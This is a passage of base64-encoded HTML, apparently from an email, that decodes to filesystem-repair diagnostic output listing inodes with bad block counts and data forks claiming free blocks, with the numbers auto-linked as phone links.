PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI4NDcwPC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzA3NTwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTkzIGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI4NzY3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI4NzY3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTg0PC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY4MjkxOTIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY4MjkxOTI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MzkyOTIzNjUiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+NTM5MjkyMzY1PC91Pjwv Zm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDgx OCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgyOTE5MiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyOTE5MjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgzMzwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE2ODI5NjgxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE2ODI5NjgxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6NTY3NTYzMyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT41Njc1NjMzPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgzMTA0NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgzMTA0NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjYxMTk2MTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+NjExOTYxODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MzM1NDQiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MzM1NDQ8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxv Y2sgPC9mb250PjxhIGhyZWY9InRlbDoxMzc4NjMzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjEzNzg2MzM8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgOTcgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4MzM2NTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4MzM2NTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA5MTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgNDggZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MzYw MjAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MzYw MjA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byA0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODM3NjE1Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODM3NjE1PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6OTMxNzk2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT45MzE3OTY4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjgzNzYxNSI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgzNzYxNTwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBi bG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTc5NjkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxNzk2OTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxMjM3IGZvciBpbm9kZSA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2ODM3NjE1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2ODM3NjE1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTI0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNjIyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2ODQzODU1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2ODQzODU1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291 bGQgcmVzZXQgdG8gNjIxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5k YXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NTEwNDYiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NTEwNDY8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9m b250PjxhIGhyZWY9InRlbDo5Mjk5ODY3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjkyOTk4Njc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODUx MDQ2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODUx MDQ2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWlt cyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTI5OTg2OCI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45Mjk5ODY4PC91PjwvZm9udD48L2E+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDgxMSBmb3IgaW5vZGUg PC9mb250PjxhIGhyZWY9InRlbDoxNjg1MTA0NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjg1MTA0NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgxNzwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgOTQgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY4NTI5NTIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY4NTI5NTI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byA5MzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODU4OTE5Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODU4OTE5PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2Nr IDwvZm9udD48YSBocmVmPSJ0ZWw6MTA0NzMyNiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xMDQ3MzI2PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDY0OSBmb3IgaW5vZGUgPC9mb250PjxhIGhy ZWY9InRlbDoxNjg1ODkxOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjg1ODkxOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4sIHdvdWxkIHJlc2V0IHRvIDY1NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgMTIxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYx NzgwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYx NzgwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gMTIwPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyA5NTg1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYzMDk1Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYzMDk1PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTQ1Nzwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5leHRlbnRzIDIzNSBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg2MzA5NSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg2MzA5NTwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzNDwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNDMzIGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2ODY4NjkxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2ODY4NjkxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDIzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMjA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2ODY4NjkxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2ODY4NjkxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwg d291bGQgcmVzZXQgdG8gMjA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmJsb2NrcyAyNzIxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODcwODAx Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODcwODAx PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQg dG8gMjcyMDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3Jr IGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODcwODIwIj48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODcwODIwPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBo cmVmPSJ0ZWw6OTMyMjI1NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT45MzIyMjU1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDEwMjUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4 NzA5MDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4 NzA5MDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAxMDE1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRh IGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NzEzMTEiPjxmb250IHNpemU9IjMi IGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NzEzMTE8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250 PjxhIGhyZWY9InRlbDo5MzIxOTY4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjkzMjE5Njg8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjM3MSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjg3MTMxMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjg3MTMxMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDI0MDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjg3MTY2NCI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3MTY2NDwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjI3MjEwNzA5MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4yNzIxMDcwOTA8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2ODcxNjY0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2ODcxNjY0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw O2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6MjcyMTA3MDkxIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI3MjEwNzA5MTwvdT48L2Zv bnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5v IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NzE2ODciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NzE2ODc8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRl bDoyNzI2ODYxOTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MjcyNjg2MTk4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjg3MjI3MCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3MjI3MDwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9j ayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDIyMTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMwMjIxOTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY4NzIyNzAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY4NzIyNzA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzAyMjIwIj48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDIyMjA8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTQ3IGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODczOTkzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODczOTkzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNTYxPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY4NzY0NDEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY4NzY0NDE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzA5NDcwIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMDk0NzA8L3U+PC9mb250 PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzA3MSBm b3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjg3NjQ0MSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg3NjQ0MTwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMwNzM8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDI3IGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2ODc2NTgyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2ODc2NTgyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2ODg5MzU0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2ODg5MzU0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291 bGQgcmVzZXQgdG8gMzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRh dGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjg5Mjg3MCI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjg5Mjg3MDwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2Zv bnQ+PGEgaHJlZj0idGVsOjI3MzY3NjA2NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4yNzM2NzYwNjc8L3U+PC9mb250PjwvYT48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODk2MTcxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODk2MTcxPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2Ns YWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMDYzMCI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzEwNjMwPC91PjwvZm9udD48L2E+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250 PjxhIGhyZWY9InRlbDoxNjg5NjE3MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4xNjg5NjE3MTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTA2 MzEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxMDYz MTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyA2ODIgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4OTYxNzEiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4OTYxNzE8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA2ODk8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9m b250PjxhIGhyZWY9InRlbDoxNjg5Njc5MiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYi IGZhY2U9InNlcmlmIj48dT4xNjg5Njc5MjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkz MTQ0NDciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMx NDQ0NzwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAxNjE3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODk2NzkyIj48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODk2NzkyPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTYx ODwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTA2MzcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTA2MzcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i 